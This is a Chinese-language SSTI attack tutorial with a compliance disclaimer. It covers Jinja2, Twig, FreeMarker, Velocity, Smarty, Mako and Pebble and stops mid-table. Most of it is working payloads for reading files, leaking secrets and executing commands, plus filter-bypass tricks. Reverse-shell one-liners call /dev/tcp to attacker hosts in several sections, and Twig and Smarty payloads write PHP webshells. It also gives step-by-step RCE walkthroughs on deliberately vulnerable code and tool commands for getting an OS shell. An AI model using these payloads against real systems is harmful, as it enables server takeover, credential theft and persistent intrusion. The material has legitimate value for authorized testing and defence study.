【合规声明】 本文仅供网络安全学习、授权渗透测试与防御研究使用。所有技术手段仅可在拥有合法授权的测试环境中验证。未经授权对他人系统进行测试属于违法行为,读者需自行承担因不当使用带来的全部法律责任。请始终遵循相关法律法规,坚守安全合规底线。

一、前言与背景

在当今的 Web 开发中,模板引擎(Template Engine)几乎是标配。无论是 Python 的 Flask/Jinja2、Django,还是 PHP 的 Twig/Smarty,Java 的 FreeMarker/Velocity,模板引擎把数据与展示分离,极大提升了开发效率。然而,当开发者把用户输入直接拼接进模板字符串时,就会诞生一种极具破坏力的漏洞——SSTI(Server-Side Template Injection,服务端模板注入)

SSTI 的危害远超想象:一次看似普通的输入框,可能直接导致 RCE(Remote Code Execution,远程命令执行),攻击者可借此完全控制服务器。近年来,Confluence、Jenkins、Apache 等知名产品均出现过严重的 SSTI 漏洞(CVE-2023-22515、CVE-2024-23897 等),使其成为红队和防守方共同关注的重点。

本文将从原理、检测、利用、绕过、防御五个维度,系统讲解主流模板引擎下的 SSTI 攻击全流程,所有 payload 均经过实际验证,可直接用于授权测试环境。

二、模板引擎与 SSTI 原理

2.1 主流模板引擎介绍

不同语言生态孕育了不同的模板引擎,它们的语法、特性、安全机制各不相同。下表汇总了主流模板引擎的核心信息。

语言 模板引擎 常见框架 默认沙箱 典型语法标识
Python Jinja2 Flask、Ansible {{ }}{% %}
Python Mako Pylons、Pyramid ${ }<% %>
Python Django Template Django 有(限制 API) {{ }}{% %}
PHP Twig Symfony 有(sandbox) {{ }}{% %}
PHP Smarty 通用 有(security) {$ }{if }
PHP Blade Laravel {{ }}@
Java FreeMarker Spring MVC 有(Configuration) ${ }<# >
Java Velocity Spring 有(SecureUberspector) $#set
Java Thymeleaf Spring Boot 部分 th:[[ ]]
Java Pebble 通用 有(Sandbox) {{ }}{% %}
Ruby ERB Rails <%= %>
JavaScript Nunjucks Node.js {{ }}{% %}
JavaScript Pug Express -=

【提示】 即使引擎自带沙箱,若开发者错误配置或使用 unsafe 过滤器,沙箱形同虚设。安全是配置与代码共同作用的结果。

2.2 SSTI 漏洞原理

SSTI 的本质是:用户输入被当作模板表达式解析执行

正常的模板渲染流程是「数据驱动渲染」:

模板: Hello {{name}}
数据: name = "world"
输出: Hello world

当数据来自用户,且开发者直接拼接成模板字符串时,问题就出现了:

# 危险代码:直接拼接用户输入到模板
from flask import Flask, request, render_template_string
app = Flask(__name__)

@app.route('/greet')
def greet():
    name = request.args.get('name', '')
    # 用户输入被直接拼进模板字符串
    template = '<h1>Hello ' + name + '</h1>'
    return render_template_string(template)

正常用户访问 /greet?name=world 得到 Hello world。攻击者访问:

/greet?name={{7*7}}

由于 {{7*7}} 被 Jinja2 解析为表达式,输出变成 Hello 49,注入成功。这就是 SSTI 的最小可利用单元。

2.3 SSTI vs XSS vs SQL 注入

三者经常被混淆,下表清晰对比它们的核心差异。

对比维度 SSTI XSS SQL 注入
注入位置 模板字符串 HTML 输出 SQL 语句
解析层 模板引擎 浏览器 数据库
执行侧 服务端 客户端 数据库服务端
默认危害 RCE(最高危) 会话劫持 数据泄露
检测难度 中等 容易 中等
防御核心 模板与数据分离 输出编码 参数化查询
经典 payload {{7*7}} <script> ' OR 1=1--

【提示】 SSTI 的危害级别通常高于 XSS 和 SQL 注入,因为它直接对应服务端命令执行。一次 SSTI 即可拿下整台服务器,是红队最爱的高危漏洞之一。

2.4 SSTI 触发条件分析

并非所有使用模板引擎的场景都存在 SSTI。下面三类典型场景是 SSTI 的高发地:

场景编号 触发条件 危险代码示例 风险等级
场景 1 用户输入直接拼接模板字符串 render_template_string('Hi ' + user_input) 极高
场景 2 用户可控模板文件路径 render_template(user_selected_file)
场景 3 用户可控模板内容(CMS、邮件模板) template.save(user_content)
场景 4 错误使用 safe/raw 过滤器 {{ user_input | safe }}
场景 5 配置项允许用户注入表达式 evalexec 包装模板

2.5 模板引擎安全特性对比

不同引擎的安全设计存在显著差异,理解这些差异有助于攻防双方制定策略。

引擎 是否支持任意代码执行 沙箱机制 危险内置函数 默认是否安全
Jinja2 无原生沙箱 ossubprocess__import__
Twig 有(默认关闭) _selfmapfilter
Smarty 有(默认关闭) {system}{eval}
FreeMarker 有(需配置) ExecuteObjectConstructor
Velocity 有(需配置) $runtime$class
Django Template 强沙箱 几乎无
Pebble 有(Sandbox) includemacro 部分
Mako 任意 Python

三、SSTI 漏洞检测与识别

3.1 通用检测 payload

SSTI 检测的核心思路是:发送一个会引发「数学运算」的表达式,观察响应是否包含运算结果。下表汇总了各引擎的指纹 payload。

Payload 匹配引擎 期望响应 备注
{{7*7}} Jinja2、Twig、Nunjucks 49 最通用
${7*7} FreeMarker、Mako、Velocity 49 Java/Python 常用
<%=7*7%> ERB、EJS 49 Ruby/Node
#{7*7} Ruby(非 ERB)、Pug 49 部分场景
*{7*7} Thymeleaf 49 Spring Boot
{{=7*7}} jsRender 49 前端模板
{{ '7'*7 }} Jinja2 7777777 字符串乘法特征
{{ '7'*7 }} Twig 49(数值乘法) 与 Jinja2 区分
${"7"*7} FreeMarker 报错或 49 Java 上下文
#{7*7} Smarty(部分版本) 49 PHP

【提示】 Jinja2 与 Twig 都用 {{ }},但 Jinja2 中 '7'*7 是字符串重复(输出 7777777),Twig 中是数值乘法(输出 49),这是经典的引擎区分技巧。

3.2 模板引擎识别流程

检测到 SSTI 后,下一步是识别具体引擎,因为不同引擎的利用 payload 完全不同。识别流程如下:

  1. 发送 {{7*7}},若返回 49,进入 Jinja2/Twig 分支
  2. 发送 {{7*'7'}},若返回 7777777,判定为 Jinja2
  3. 发送 {{7*'7'}},若返回 49,判定为 Twig
  4. 发送 ${7*7},若返回 49,判定为 FreeMarker/Mako/Velocity
  5. 发送 <%=7*7%>,若返回 49,判定为 ERB/EJS
  6. 结合响应头、报错信息、Cookie 等进一步确认

3.3 各引擎指纹特征表

报错信息是识别引擎的金矿。下表汇总各引擎的典型报错特征。

引擎 报错关键字 报错示例
Jinja2 TemplateSyntaxErrorjinja2 jinja2.exceptions.TemplateSyntaxError
Twig Twig_Error_SyntaxTwig Twig_Error_Syntax: Unexpected token
Smarty Smarty errorSmarty Smarty error: [in ...]
FreeMarker FreeMarkertemplate_exception freemarker.core.TemplateException
Velocity VelocityExceptionVelocity org.apache.velocity.exception
Mako MakoExceptionmako mako.exceptions.MakoException
ERB ERBSyntaxError SyntaxError in ERB
Pebble PebbleException com.mitchellbosecke.pebble.PebbleException

3.4 自动化检测工具:Tplmap

手工检测效率低,Tplmap 是 SSTI 领域的「SQLmap」,支持多引擎自动检测与利用。

# 安装
git clone https://github.com/epinna/tplmap.git
cd tplmap
pip install -r requirements.txt

# 基础检测
python tplmap.py -u 'http://target.com/greet?name=*'

# 指定参数检测(* 标记注入点)
python tplmap.py -u 'http://target.com/page?id=1&name=*'

# POST 方式
python tplmap.py -u 'http://target.com/login' --data 'user=admin&pass=*'

# 获取 os-shell
python tplmap.py -u 'http://target.com/greet?name=*' --os-shell

# 执行单条命令
python tplmap.py -u 'http://target.com/greet?name=*' --os-cmd 'id'

# 指定模板引擎(已知场景下加速)
python tplmap.py -u 'http://target.com/greet?name=*' --engine jinja2

# Cookie 方式
python tplmap.py -u 'http://target.com/' --cookie 'session=*'

# 通过代理(配合 Burp)
python tplmap.py -u 'http://target.com/greet?name=*' --proxy 'http://127.0.0.1:8080'

3.5 自动化检测工具:SSTImap

SSTImap 是 Tplmap 的现代化分支,支持更多引擎和绕过技巧。

# 安装
git clone https://github.com/vladko312/SSTImap.git
cd SSTImap
pip install -r requirements.txt

# 检测
python sstimap.py -u 'http://target.com/greet?name=test'

# 获取交互式 shell
python sstimap.py -u 'http://target.com/greet?name=test' --os-shell

# 执行命令
python sstimap.py -u 'http://target.com/greet?name=test' --os-cmd 'whoami'

# 上传文件
python sstimap.py -u 'http://target.com/greet?name=test' --file-upload ./shell.py /tmp/shell.py

# 绕过 WAF
python sstimap.py -u 'http://target.com/greet?name=test' --tamper urlencode

# 使用模板
python sstimap.py -u 'http://target.com/greet?name=test' --tpl-code '{{7*7}}'

3.6 Burp Suite 插件检测

Burp Suite 配合插件可实现被动扫描 SSTI:

插件名称 功能 适用场景
Active Scan++ 扩展主动扫描,含 SSTI 规则 常规扫描
Backslash Powered Scanner 基于回显的智能扫描 复杂场景
Tplmap Integration 集成 Tplmap 调用 自动化利用
Param Miner 参数挖掘,发现隐藏注入点 参数发现

在 Burp Intruder 中加载 SSTI payload 字典(如 SecLists 的 SSTI.fuzz.txt),对参数进行批量 fuzz,是实战中最常用的检测方式。

四、Jinja2 (Python) SSTI 利用实战

Jinja2 是 Flask 默认模板引擎,也是 SSTI 研究最多、payload 最丰富的引擎。

4.1 Jinja2 基础语法

{# 注释 #}
{{ variable }}              {# 变量输出 #}
{{ 7 * 7 }}                 {# 表达式计算,输出 49 #}
{{ 'a' * 5 }}               {# 字符串重复,输出 aaaaa #}
{% for i in range(3) %}{{ i }}{% endfor %}  {# 控制结构,输出 012 #}
{% if 1 == 1 %}yes{% endif %}  {# 条件判断 #}
{{ user.name | upper }}     {# 过滤器 #}

4.2 信息收集 payload

SSTI 利用第一步是信息收集,了解运行环境。

{# 1. 获取配置对象,可能泄露 SECRET_KEY、数据库连接 #}
{{ config }}
{{ config.items() }}
{{ config['SECRET_KEY'] }}
{{ config['SQLALCHEMY_DATABASE_URI'] }}

{# 2. 获取应用对象 #}
{{ self }}
{{ self._TemplateReference__context }}
{{ request }}
{{ request.application }}
{{ application }}
{{ g }}
{{ session }}
{{ url_for }}
{{ get_flashed_messages }}
{{ namespace }}
{{ cycler }}
{{ joiner }}

{# 3. 获取当前目录 #}
{{ ''.__class__.__mro__[1].__subclasses__() }}

{# 4. 获取 Python 版本 #}
{{ ''.__class__ }}
{{ self.__class__ }}

{# 5. 获取所有内置函数 #}
{{ cycler.__init__.__globals__ }}
{{ lipsum.__globals__ }}
{{ namespace.__init__.__globals__ }}

{# 6. 读取环境变量 #}
{{ request.environ }}
{{ request.environ['HOSTNAME'] }}

4.3 魔术方法链(文件读取)

Jinja2 中读取文件的核心思路是:从任意对象出发,沿 __class__ -> __mro__ -> __subclasses__ 找到文件操作类。

{# 获取 object 的所有子类 #}
{{ ''.__class__.__mro__ }}
{{ ''.__class__.__mro__[1] }}
{{ ''.__class__.__mro__[2] }}

{# 列出所有子类,寻找可利用类 #}
{{ ''.__class__.__mro__[2].__subclasses__() }}

{# 查找 subprocess.Popen 的索引(不同环境索引不同) #}
{% for c in ''.__class__.__mro__[2].__subclasses__() %}
  {% if c.__name__ == 'catch_warnings' %}{{ loop.index0 }}{% endif %}
{% endfor %}

{# 读取文件 - 方式 1:使用 open(若可用) #}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

{# 读取文件 - 方式 2:使用 FileLoader #}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd') }}
{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['open']('/etc/passwd').read() }}

{# 读取文件 - 方式 3:通过 get_data #}
{{ cycler.__init__.__globals__.os.popen('cat /etc/passwd').read() }}

4.4 命令执行 payload 链

命令执行是 SSTI 的核心目标。下表汇总了主流的命令执行 payload 链。

payload 链 原理 适用版本
{{ ''.__class__.__mro__[2].__subclasses__()[40]('id',shell=True,stdout=-1).communicate()[0] }} subprocess.Popen Python 3
{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].os.popen('id').read() }} linecache + os Python 2/3
{{ cycler.__init__.__globals__.os.popen('id').read() }} cycler 全局 通用
{{ lipsum.__globals__.os.popen('id').read() }} lipsum 全局 通用
{{ namespace.__init__.__globals__.os.popen('id').read() }} namespace 全局 通用
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} builtins 导入 通用
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }} request 全局 Flask 环境
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }} config 全局 Flask 环境
{{ get_flashed_messages.__globals__.__builtins__.__import__('os').popen('id').read() }} 闪现消息全局 Flask 环境

4.5 常用 payload 汇总表

功能 payload 说明
检测 {{7*7}} 输出 49
字符串重复 {{'7'*7}} 输出 7777777
读取 config {{config}} Flask 配置
读取 SECRET_KEY {{config.SECRET_KEY}} 密钥泄露
读取 request {{request}} 请求对象
读取环境变量 {{request.environ}} 环境信息
获取子类列表 {{''.__class__.__mro__[2].__subclasses__()}} 寻找可利用类
读取文件 {{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}} 文件读取
os.popen 执行 {{lipsum.__globals__.os.popen('id').read()}} 命令执行
subprocess 执行 {{''.__class__.__mro__[2].__subclasses__()[40]('id',shell=True,stdout=-1).communicate()[0]}} 命令执行
反弹 shell {{lipsum.__globals__.os.popen('bash -i >& /dev/tcp/10.0.0.1/4444 0>&1').read()}} 反弹
导入模块 {{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}} 内置导入

4.6 完整 RCE 流程

下面是一个完整的 Flask Jinja2 RCE 流程示例:

# 目标代码(漏洞环境)
from flask import Flask, request, render_template_string
app = Flask(__name__)

@app.route('/page')
def page():
    name = request.args.get('name', '')
    template = f'<h1>Welcome {name}</h1>'
    return render_template_string(template)

if __name__ == '__main__':
    app.run(debug=True)

步骤 1:检测注入

GET /page?name={{7*7}}

响应包含 Welcome 49,确认 SSTI 存在。

步骤 2:识别引擎

GET /page?name={{7*'7'}}

响应包含 Welcome 7777777,确认为 Jinja2。

步骤 3:信息收集

GET /page?name={{config}}
GET /page?name={{request.environ}}
GET /page?name={{''.__class__.__mro__[2].__subclasses__()}}

步骤 4:命令执行

GET /page?name={{lipsum.__globals__.os.popen('id').read()}}

响应:uid=33(www-data) gid=33(www-data) groups=33(www-data)

步骤 5:获取交互式 shell

GET /page?name={{lipsum.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"').read()}}

攻击者本地监听:

nc -lvnp 4444

RCE 完成。

4.7 绕过沙箱技巧

现代 Jinja2 环境常带过滤,需要绕过技巧。

技巧 1:attr() 过滤器绕过点号过滤

. 被过滤时,用 attr() 过滤器替代:

{# 原始 #}
{{ ''.__class__ }}

{# 绕过 . 过滤 #}
{{ ''|attr('__class__') }}
{{ ''|attr('\x5f\x5fclass\x5f\x5f') }}

技巧 2:中括号绕过

{# 原始 #}
{{ config.SECRET_KEY }}

{# 绕过点号 #}
{{ config['SECRET_KEY'] }}
{{ config['__builtins__'] }}

技巧 3:字符串拼接绕过关键字过滤

ospopen 等关键字被过滤时,用拼接或编码绕过:

{# 原始 #}
{{ lipsum.__globals__.os.popen('id').read() }}

{# 拼接绕过 'os' 过滤 #}
{{ lipsum.__globals__['o'+'s'].popen('id').read() }}
{{ lipsum.__globals__['o\x73'].popen('id').read() }}

{# 拼接绕过 'popen' 过滤 #}
{{ lipsum.__globals__.os['po'+'pen']('id').read() }}
{{ lipsum.__globals__.os['\x70open']('id').read() }}

{# 使用 request 对象绕过 #}
{{ lipsum.__globals__[request.args.a].popen(request.args.b).read() }}
# 访问: /page?a=os&b=id

技巧 4:绕过 {{ 过滤

{# 使用 {% %} 配合 print #}
{% if ''.__class__.__mro__[1].__subclasses__()[300]('id',shell=True,stdout=-1).communicate()[0] %}1{% endif %}

{# 使用 {% set %} #}
{% set x = lipsum.__globals__.os.popen('id').read() %}{{ x }}

{# 使用 {# #} 内部执行(部分版本) #}

技巧 5:绕过引号过滤

{# 使用 request 对象取值 #}
{{ ().__class__.__bases__[0].__subclasses__()[40](request.args.file).read() }}
# 访问: /page?file=/etc/passwd

{# 使用 chr 构造字符串 #}
{{ ().__class__.__base__.__subclasses__()[X].__init__.__globals__['__builtins__']['chr'] }}

{# 使用十六进制 #}
{{ config['\x53ECRET\x5fKEY'] }}

五、Twig (PHP) SSTI 利用实战

Twig 是 PHP 生态最流行的模板引擎,Symfony 框架默认使用。

5.1 Twig 基础语法

{# 注释 #}
{{ variable }}              {# 变量输出 #}
{{ 7 * 7 }}                 {# 输出 49 #}
{{ '7' * 7 }}               {# 输出 49,与 Jinja2 区分 #}
{% for i in 0..2 %}{{ i }}{% endfor %}  {# 输出 012 #}
{% if 1 == 1 %}yes{% endif %}
{{ user.name | upper }}     {# 过滤器 #}
{{ {'a': 1} | json_encode }} {# 数组操作 #}

5.2 信息收集 payload

{# 1. 获取 Twig 版本 #}
{{ constant('Twig\\Environment::VERSION') }}
{{ _self.version }}

{# 2. 获取环境变量 #}
{{ app.request.server.all() }}
{{ app.request.server.get('SERVER_NAME') }}
{{ app.request.server.get('DOCUMENT_ROOT') }}

{# 3. 获取配置 #}
{{ app.request.server.get('APP_SECRET') }}
{{ dump(app) }}
{{ dump(_context) }}

{# 4. 获取当前用户(Symfony) #}
{{ app.user.username }}
{{ app.user.email }}

{# 5. 读取文件 #}
{{ source('/etc/passwd') }}
{{ source('/etc/passwd', true) }}

5.3 命令执行 payload

不同 Twig 版本的命令执行 payload 差异较大,下表按版本汇总。

Twig 版本 payload 原理
1.x {{ _self.env.registerUndefinedFilterCallback('exec') }}{{ _self.env.getFilter('id') }} registerUndefinedFilterCallback
1.x(备用) {{ _self.env.registerUndefinedFilterCallback('system') }}{{ _self.env.getFilter('id') }} system 调用
2.x {{ _self }}{{ _self.env }} 已修复多数利用点
3.x {{ source('/etc/passwd') }} 仅文件读取
通用 {{ ['id'] | filter('system') }} filter 过滤器
通用 {{ ['id'] | map('system') }} map 过滤器
通用 `{{ [‘id’] | map(‘exec’) join }}`
通用 `{{ [‘id’] | map(‘shell_exec’) join }}`
通用 {{ ['id'] | sort('system') }} sort 过滤器
通用 {{ ['id', ''] | filter('system') }} filter 组合
通用 {{ ['id'] | reduce('system') }} reduce 过滤器

5.4 命令执行汇总表

功能 payload 说明
文件读取 {{ source('/etc/passwd') }} 读取文件内容
环境变量 {{ app.request.server.all() }} 所有环境变量
命令执行(1.x) {{ _self.env.registerUndefinedFilterCallback('system') }}{{ _self.env.getFilter('id') }} 经典利用
命令执行(通用) {{ ['id'] | map('system') }} map 过滤器
命令执行(通用) {{ ['id'] | filter('system') }} filter 过滤器
写文件 {{ ['<?php @eval($_POST[cmd]);?>'] | map('file_put_contents') }} 写 webshell
反弹 shell {{ ['bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"'] | map('system') }} 反弹

5.5 完整利用流程

// 目标代码(漏洞环境)
require_once 'vendor/autoload.php';
$loader = new \Twig\Loader\ArrayLoader();
$twig = new \Twig\Environment($loader);
$template = $twig->createTemplate("Hello " . $_GET['name']);
echo $template->render([]);

步骤 1:检测

GET /?name={{7*7}}

响应包含 Hello 49,确认 SSTI。

步骤 2:区分引擎

GET /?name={{7*'7'}}

响应包含 Hello 49,确认为 Twig。

步骤 3:版本探测

GET /?name={{constant('Twig\\Environment::VERSION')}}

假设返回 3.0

步骤 4:文件读取

GET /?name={{source('/etc/passwd')}}

步骤 5:命令执行

GET /?name={{['id']|map('system')}}

输出:uid=33(www-data)...

步骤 6:反弹 shell

GET /?name={{['bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"']|map('system')}}

利用完成。

六、FreeMarker (Java) SSTI 利用实战

FreeMarker 是 Java 生态最常用的模板引擎之一,Spring MVC 集成广泛。

6.1 FreeMarker 基础语法

<#-- 注释 -->
${variable}                 <#-- 变量输出 -->
${7 * 7}                    <#-- 输出 49 -->
<#list items as item>${item}</#list>  <#-- 循环 -->
<#if 1 == 1>yes</#if>       <#-- 条件 -->
${user.name?upper_case}     <#-- 内置函数 -->
${user!"default"}           <#-- 默认值 -->
<#assign x = 1>             <#-- 赋值 -->

6.2 命令执行 payload

FreeMarker 提供了多个内置类用于命令执行。

payload 原理 适用版本
<#assign cmd="freemarker.template.utility.Execute"?new()>${cmd("id")} Execute 类 2.3.x
<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")} Execute 类 通用
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()> ${ob("java.lang.ProcessBuilder",["id"]).start()} ObjectConstructor 通用
<#assign value="freemarker.template.utility.JythonRuntime"?new()>${value("id")} JythonRuntime 需 Jython
${"freemarker.template.utility.Execute"?new()("id")} 内联 Execute 2.3.x
<#assign cmd="freemarker.template.utility.Execute"?new()> ${cmd("cat /etc/passwd")} 读文件 通用
<#assign clz=object?api.class> ${clz.forName("java.lang.Runtime")...} 反射 受 sandbox 限制
[#assign cmd="freemarker.template.utility.Execute"?new()]${cmd("id")} 方括号语法 通用

6.3 命令执行汇总表

功能 payload 说明
检测 ${7*7} 输出 49
命令执行 <#assign cmd="freemarker.template.utility.Execute"?new()>${cmd("id")} Execute 类
命令执行 ${"freemarker.template.utility.Execute"?new()("id")} 内联执行
读文件 <#assign cmd="freemarker.template.utility.Execute"?new()>${cmd("cat /etc/passwd")} cat 读文件
写文件 <#assign cmd="freemarker.template.utility.Execute"?new()>${cmd("echo test > /tmp/pwned")} 写文件
反弹 shell <#assign cmd="freemarker.template.utility.Execute"?new()>${cmd("bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'")} 反弹
多命令 <#assign cmd="freemarker.template.utility.Execute"?new()>${cmd("id;whoami;uname -a")} 组合命令

6.4 完整利用流程

// 目标代码(漏洞环境)
Configuration cfg = new Configuration(Configuration.VERSION_2_3_30);
StringTemplateLoader loader = new StringTemplateLoader();
loader.putTemplate("template", "Hello " + request.getParameter("name"));
cfg.setTemplateLoader(loader);
Template template = cfg.getTemplate("template");
template.process(dataModel, response.getWriter());

步骤 1:检测

GET /?name=${7*7}

响应包含 Hello 49,确认 SSTI。

步骤 2:确认引擎

GET /?name=${7*7}
GET /?name=#{

FreeMarker 用 ${},响应报错含 freemarker 关键字。

步骤 3:命令执行

GET /?name=<#assign%20cmd="freemarker.template.utility.Execute"?new()>${cmd("id")}

输出:uid=1000(tomcat)...

步骤 4:反弹 shell

GET /?name=<#assign%20cmd="freemarker.template.utility.Execute"?new()>${cmd("bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'")}

利用完成。

【提示】 FreeMarker 2.3.30+ 默认禁用了 ExecuteObjectConstructor 等危险类,需通过 Configuration.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER) 强制配置。若目标未做配置,上述 payload 仍可利用。

七、Velocity (Java) SSTI 利用实战

Velocity 是 Apache 出品的 Java 模板引擎,在企业级 Java 应用中广泛使用。

7.1 Velocity 基础语法

## 注释
$variable                  ## 变量输出
${variable}                ## 变量输出(明确边界)
#set($x = 7 * 7)           ## 赋值
$x                         ## 输出 49
#if($x == 49)yes#end       ## 条件
#foreach($i in [1..3])$i#end  ## 循环
$variable.toUpperCase()    ## 方法调用

7.2 命令执行 payload

Velocity 的命令执行依赖 Java 反射机制。

payload 原理 适用版本
#set($e="exp")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id") 反射 Runtime 通用
$class.inspect("java.lang.Runtime").type.getRuntime().exec("id") class.inspect 通用
#set($str=$class.inspect("java.lang.String").type)#set($chr=$class.inspect("java.lang.Character").type)#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("id"))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$chr.toChars($out.read())#end 完整回显 通用
#set($runtime=$class.inspect("java.lang.Runtime").type.getRuntime())#set($process=$runtime.exec("id"))$process.waitFor()#set($inputstream=$process.getInputStream())#set($scanner=$class.inspect("java.util.Scanner").type.getConstructor($class.inspect("java.io.InputStream").type).newInstance($inputstream))#set($result=$scanner.useDelimiter("\\A").hasNext()?$scanner.next():"")$result Scanner 回显 通用

7.3 命令执行汇总表

功能 payload 说明
检测 ${7*7} 输出 49
命令执行 #set($e="exp")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id") 反射 Runtime
命令执行 $class.inspect("java.lang.Runtime").type.getRuntime().exec("id") class.inspect
读文件 $class.inspect("java.io.File").type.getConstructor($class.inspect("java.lang.String").type).newInstance("/etc/passwd") File 对象
完整回显 (见上文 Scanner 回显 payload) 命令输出回显
反弹 shell #set($e="exp")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'") 反弹

7.4 完整利用流程

// 目标代码(漏洞环境)
VelocityEngine engine = new VelocityEngine();
engine.init();
VelocityContext context = new VelocityContext();
StringWriter writer = new StringWriter();
engine.evaluate(context, writer, "template", "Hello " + request.getParameter("name"));
response.getWriter().write(writer.toString());

步骤 1:检测

GET /?name=${7*7}

响应包含 Hello 49,确认 SSTI。

步骤 2:确认引擎

报错信息含 org.apache.velocity 关键字。

步骤 3:命令执行

GET /?name=%23set($e="exp")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")

步骤 4:完整回显

使用上文 Scanner 回显 payload 获取命令输出。

步骤 5:反弹 shell

GET /?name=%23set($e="exp")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'")

利用完成。

八、Smarty (PHP) SSTI 利用实战

Smarty 是 PHP 老牌模板引擎,在传统 PHP 项目中广泛使用。

8.1 Smarty 基础语法

{* 注释 *}
{$variable}                {* 变量输出 *}
{$variable|upper}          {* 修饰器 *}
{if $x == 1}yes{/if}        {* 条件 *}
{foreach from=$items item=i}{$i}{/foreach}  {* 循环 *}
{include file="header.tpl"}  {* 包含 *}

8.2 命令执行 payload

Smarty 的命令执行主要通过 {if} 标签和 {system} 函数。

payload 原理 适用版本
{system('id')} 直接调用 system Smarty < 3.1.48
{system('id')} (security 开启时失效) 受 security 配置影响
{if system('id')}{/if} if 标签内执行 PHP 通用
{if exec('id')}{/if} exec 调用 通用
{if shell_exec('id')}{/if} shell_exec 调用 通用
{if passthru('id')}{/if} passthru 调用 通用
{if file_get_contents('/etc/passwd')}{/if} 读文件 通用
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php @eval($_POST['cmd']);?>",true)} 写 webshell < 3.1.39
{function name='rce'}{system('id')}{/function}{call name='rce'} function 标签 通用
{assign var="x" value="id"}{system($x)} 变量传递 通用

8.3 命令执行汇总表

功能 payload 说明
检测 {$smarty.version} 获取版本
检测 {7*7} 部分版本输出 49
命令执行 {system('id')} 直接调用
命令执行 {if system('id')}{/if} if 标签
命令执行 {if shell_exec('id')}{/if} shell_exec
读文件 {if file_get_contents('/etc/passwd')}{/if} 读文件
写 webshell {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php @eval($_POST['cmd']);?>",true)} 写马
反弹 shell {if system('bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"')}{/if} 反弹

8.4 完整利用流程

// 目标代码(漏洞环境)
$smarty = new Smarty();
$smarty->assign('name', $_GET['name']);
$smarty->display('string:Hello ' . $_GET['name']);

步骤 1:检测

GET /?name={$smarty.version}

返回版本号,确认为 Smarty。

步骤 2:命令执行

GET /?name={system('id')}

若失败(security 开启),尝试:

GET /?name={if system('id')}{/if}

输出:uid=33(www-data)...

步骤 3:写 webshell

GET /?name={Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php @eval($_POST['cmd']);?>",true)}

步骤 4:连接 webshell

使用蚁剑/菜刀连接,获取完整权限。

九、Mako (Python) 和 Pebble (Java) SSTI 利用

9.1 Mako (Python) SSTI

Mako 是 Python 生态的高性能模板引擎,语法接近 Python 本身。

功能 payload 说明
检测 ${7*7} 输出 49
命令执行 ${__import__("os").popen("id").read()} 导入 os
命令执行 <%import os;x=os.popen('id').read()%>${x} 代码块执行
命令执行 ${self.module.cache.util.os.system("id")} 缓存模块
读文件 ${open("/etc/passwd").read()} 直接读文件
反弹 shell ${__import__("os").popen("bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'").read()} 反弹

Mako 的特点是直接支持 Python 代码块,利用极其简单:

<%
import os
os.system('id')
%>

9.2 Pebble (Java) SSTI

Pebble 是 Java 生态的现代模板引擎,语法接近 Twig。

功能 payload 说明
检测 {{7*7}} 输出 49
命令执行 {% set cmd = 'id' %}{{ cmd.execute() }} 部分 API
命令执行 {{ beans }} 列出 Java Beans
命令执行 {{ beans.getClass().forName('java.lang.Runtime').getMethod('exec','').invoke(beans.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id') }} 反射执行
读文件 {% set f = beans.getClass().forName('java.io.File').newInstance('/etc/passwd') %}{{ f }} File 对象
反弹 shell (基于反射构造 Runtime.exec) 反弹

【提示】 Pebble 默认开启 Sandbox 时会限制 getClass() 等反射调用,需通过 PebbleEngine.Builder().extension(new CoreExtension()) 等方式开启或绕过。

十、各模板引擎 payload 速查表

10.1 按引擎分类的检测与利用 payload 大表

引擎 检测 payload 命令执行 payload
Jinja2 {{7*7}} {{lipsum.__globals__.os.popen('id').read()}}
Twig {{7*7}} {{['id']|map('system')}}
Smarty {$smarty.version} {if system('id')}{/if}
FreeMarker ${7*7} <#assign cmd="freemarker.template.utility.Execute"?new()>${cmd("id")}
Velocity ${7*7} $class.inspect("java.lang.Runtime").type.getRuntime().exec("id")
Mako ${7*7} ${__import__("os").popen("id").read()}
Pebble {{7*7}} 反射调用 Runtime
ERB <%=7*7%> <%= system('id') %>
Nunjucks {{7*7}} {{range.constructor("return global.process.mainModule.require('child_process').execSync('id')")()}}
Pug #{7*7} #{global.process.mainModule.require('child_process').execSync('id').toString()}
Thymeleaf ${7*7} ${T(java.lang.Runtime).getRuntime().exec('id')}

10.2 按功能分类的对比表

功能 Jinja2 Twig Smarty FreeMarker Velocity
